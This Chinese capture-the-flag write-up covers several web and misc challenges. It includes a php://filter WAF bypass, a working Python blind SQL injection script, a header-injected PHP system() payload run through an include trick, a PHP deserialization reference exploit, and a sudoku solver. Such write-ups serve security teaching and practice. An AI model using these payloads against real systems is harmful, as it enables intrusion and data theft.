thumb-1920-841689

[toc]

比赛前幸亏刷了几道题,不然更惨。。。

0x00 Web—文件包含绕过

进入题目,发现是个文件包含:

image-20200807175106434

此时扫一下目录发现了flag.php。但是有waf,我用php://filter/read=convert.base64-encode/resource=flag.php读源码时发现被检测了,但是我们用php://filter/resource=/etc/passwd却不会被检测。所以,应该是过滤了convert.base64-encode这个字符串过滤器,我们只需要换一个“convert”即可,我们将convert.base64-encode改为convert.iconv.utf-8.utf-7,即filename=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php。得到如下:

image-20200807175447689

+AHs-改为{+AH0改为}成功得到flag为:

flag{83d340c1-1eb2-426f-9992-65a8dd7b54e9}

此题通过php伪协议测试发现read和write以及base和rot13等过滤器均被限制。详情请见:《探索php://filter在实战当中的奇技淫巧》

0x01 Web—easiestSQLi

查看源码发现提示:

image-20200807180313765

flag在flag表中的flag列里面。

经过测试发现过滤了or、and、空格、#、–+等等,我们用^代替or进行测试。输入0^1

image-20200807180542529

得到YES~。

输入0^0

image-20200807180606437

得到NO RESULT,基本判断为异或类的整型盲注,我们用括号()绕过空格,输入0^(ascii(substr((select(flag)from(flag)),1,1))>1)

image-20200807180627589

得到YES~。这样,我们写二分法盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url = 'http://c088ed7a-d550-43bc-8ded-49adcdc1cfe5.node3.buuoj.cn/search.php'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://eci-2ze5av1zfrvbcr1w6u62.cloudeci1.ichunqiu.com/?id=0^(ascii(substr((select(flag)from(flag)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)

if 'YES~' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

执行后,得到flag:

image-20200807180819653

flag为:flag{31153a59-4ded-4f9b-936d-d484feb42abb}

此题与 [极客大挑战 2019]FinalSQL 很相似。

0x02 Web—Inclusion

进入题目说“编辑器能帮我恢复”:

image-20200807180954944

联想到.swp泄露

当你非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容。
意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样。
例如,第一次产生的交换文件名为“**.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn**”;依此类推。

我们在url中加上/index.php.swp,发现什么也没有发生。原来vim临时文件命名的格式为.index.php.swp,于是尝试/.index.php.swp,得到swp文件。我们把该swp文件放到自己的虚拟机上,用然后使用vim -r index.php.swp命令恢复备份文件,得到网站源码:

image-20200807181403250

image-20200807181437286

代码的大体逻辑如下:

image-20200807183656593

上图代码,通过rand随机数生成一个目录/user/$seperate,然后再切换进该目录。

image-20200807183741391

上图代码定义的getIp()函数逻辑大体是,如果设置了XFF,那么$ip就等于XFF值,如果设置了Client-IP,那么$ip就等于Client-IP,否则$ip等于REMOTE_ADDR,然后explode()函数用逗号”,”将$ip值分开放进数组中,返回该数组的第一个值。

image-20200807183847060

然后,依据getIp()函数返回值再创建一个目录,并将$_SERVER写入到该目录下的res文件中后,返回上级目录。注意:这里将整个$_SERVER的内容写入到res文件中,并且没有任何过滤,这里就造成了漏洞,我们可以将XFF、Client-IP或REMOTE_ADDR设置为任意php恶意代码,然后写入res文件中。

image-20200807183922985

最后通过GET方法传递参数page,并检测page所指向的文件内容中是否有<?php,如果没有,则包含page所指向的文件。

理清代码逻辑以后,我们开始构造payload,思路如下:

上面有一段代码将整个$_SERVER的内容写入到res文件中,并且没有任何过滤,这里就造成了漏洞。

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。

如果我们设置一个HTTP头Get-Flag:<?php system('/get_flag');?>,这样,<?php system('/get_flag');?>就会被写入到res文件中,然后我们再包含这个res文件,不就得到flag了吗。

但是这里要绕过如下代码部分的限制:

image-20200807184117327

我们用以下方法绕过,即:

1
2
file_get_contents('data:,xx/res');   // 将返回字符串'xx/res' 
include('data:,xx/res'); // 将包含res文件的内容

证明测试如下:

Web根目录下有一个test.php,还有一个名为data:,xx的目录,里面有一个res文件,res文件的内容为<? phpinfo();?>

image-20200808164538288

访问test.php代码如下:

image-20200808164559941

如果我们输入/test.php?page=data:,xx/res

image-20200808164713218

如上图将返回字符串’xx/res’。接下来我们把include前的注释去掉,再测试一遍:

image-20200808165107017

效果可见一斑。

利用以上原理,就可以绕过这个限制了,但是刚开始explode(',',$ip)函数将逗号给删了,所以我们的payload要用data:xx/res,其效果是一样的就是file_get_contents不会输出了。

则,我们设置XFF来生成一个名为data:xx的目录,然后再设置一个HTTP头Get-Flag:<?php system('/get_flag');?>,这样,<?php system('/get_flag');?>就会被写入到data:xx/res文件中,然后我们再包含这个res文件,就可以得到flag了。完整payload如下:

QQ截图20200807151600

得到flag。

flag为flag{6ffba1cf-9d9a-45c0-b8e5-65686d07d494}

0x03 Web—Soitgoes

目录扫描发现存在flag.php。

查看源码发现提示:

image-20200807185248654

我们尝试/?file=try.php

image-20200807185329527

怀疑是文件包含漏洞,我们用php伪协议将index.php的源码读出来:

1
/?file=php://filter/read=convert.base64-encode/resource=index.php

image-20200807185453293

解码的index.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="css.css">
<title>空白页面</title>
</head>
<div class="overlay">
<div class="hero">
<h1>这是一个<span>空白页面</span></h1>
<h3>别找了小hacker, 这里什么都没有</h3>
</div>
</div>
</html>
<?php
error_reporting(0);
$file = $_GET["file"];
$p = $_GET["p"];
if (isset($file)) {
echo 'NONONO' . '<br>';

if (preg_match("/flag/", $file)) {
die('HACKER GOGOGO!!!');
}
@include($file);

if (isset($p)) {
$p = unserialize($p);
} else {
echo "NONONO";
}
}
?>
<!-- You can try ?file=xxxx, and check the code in try.php -->

发现有个反序列化:

1
2
3
4
5
if (isset($p)) {
$p = unserialize($p);
} else {
echo "NONONO";
}

再读一下try.php的源码:

image-20200807185641891

解码得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}

class Flag{
public $f;
public $t1;
public $t2;

function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}

public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}

?>

发现下面Flag这个类有猫腻:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Flag{
public $f;
public $t1;
public $t2;

function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}

public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}

我们把$f赋值为flag.php,然后只要$this->t1 === $this->t2即可将flag.php的源码显示出来。关键要绕过这里:

1
2
3
4
5
6
...
$this->t1 = $this->t2 = md5(rand(1,10000));
...
public function getFlag(){
$this->t2 = md5(rand(1,10000));
...

当开始t1=t2,但之后又重新给t2赋了值,我们用引用赋值即可绕过,使t2为t1的引用。

如下,构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}

class Flag{
public $f="flag.php";
public $t1;
public $t2;

function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}

public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}

$Flag = new Flag("flag.php");
$Flag->t2 = &$Flag->t1; // 引用赋值
$test = new Seri($Flag);
echo serialize($test);
?>

得到:

1
O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";s:32:"ae5e3ce40e0404a45ecacaaf05e5f735";s:2:"t2";R:4;}}

在url中输入

1
/?file=try.php&p=O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";s:32:"ae5e3ce40e0404a45ecacaaf05e5f735";s:2:"t2";R:4;}}

得到flag:

image-20200807192308164

flag为:flag{5746b9d5-3bfe-44e3-86e9-c1c9d1a69fe3}

0x04 Misc—签到

打开有blue.jpg。
看文件头发现为gif文件,

将文件扩展名改成gif,用gif编辑器打开有两帧:

导出后用stegsolve切换下通道,得flag

flag为:flag{we1c0m3}

0x05 Misc—sudo

image-20200807192800872

连上nc 47.93.204.245 12000发现他给你一个数独的题,你要在他规定的时间里解出数独的答案并叫上,时间过了端口就断了。

我们用以下脚本来解数独:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
def print_grid(arr):
for i in range(9):
for j in range(9):
# 注意,在py3.x中,print函数默认都有换行
print(arr[i][j], end="")
print()


# 找出目前没有被赋值的位置,若全部都被填满,则返回False
def find_empty_location(arr, l):
for row in range(9):
for col in range(9):
if arr[row][col] == 0:
l[0] = row
l[1] = col
# print("empty: row="+str(row)+" col="+str(col))
return True
return False


# 找出num在该arr的row行是否出现过
def used_in_row(arr, row, num):
for i in range(9):
if arr[row][i] == num:
return True
return False


# 找出num在该arr的col列是否出现过
def used_in_col(arr, col, num):
for i in range(9):
if arr[i][col] == num:
return True
return False


# 找出num在该arr的3x3-box是否出现过,更应注意的是,传参技巧!
def used_in_box(arr, row, col, num):
for i in range(3):
for j in range(3):
if arr[row+i][col+j] == num:
return True
return False


def check_location_is_safe(arr, row, col, num):
return not used_in_row(arr, row, num) and not used_in_col(arr, col, num) and not used_in_box(arr, row - row % 3, col - col % 3, num)


def solve_sudoku(arr):
# 当前搜索的第几行、第几列
l = [0, 0]
# 找出还未被填充的位置
if not find_empty_location(arr, l):
return True
# 未被填充的位置,赋值给row,col
row = l[0]
col = l[1]

for num in range(1, 10):
if check_location_is_safe(arr, row, col, num):
arr[row][col] = num
#print_grid(arr)
if solve_sudoku(arr):
return True
# 若当前num导致未来并没有结果,则当前所填充的数无效,置0后选下一个数测试
arr[row][col] = 0

return False


if __name__ == "__main__":

grid = [[0 for x in range(9)] for y in range(9)]

grid = [[3, 0, 6, 5, 0, 8, 4, 0, 0],
[5, 2, 0, 0, 0, 0, 0, 0, 0],
[0, 8, 7, 0, 0, 0, 0, 3, 1],
[0, 0, 3, 0, 1, 0, 0, 8, 0],
[9, 0, 0, 8, 6, 3, 0, 0, 5],
[0, 5, 0, 0, 9, 0, 6, 0, 0],
[1, 3, 0, 0, 0, 0, 2, 5, 0],
[0, 0, 0, 0, 0, 0, 0, 7, 4],
[0, 0, 5, 2, 0, 6, 3, 0, 0]]

if solve_sudoku(grid):
print_grid(grid)
else:
print("No solution exists\n")

将他给你的数独里面的#换成0,改成脚本里的格式,这里速度要快,可以自己用notepad的替换功能也可以写个辅助脚本将他给你的数独改成上面脚本里的格式。

最后输入三遍答案后,让你输入token,输入后给出flag:

QQ图片20200807193256

flag为:flag{de99ef1c9f0debec3d55ead5794995f3}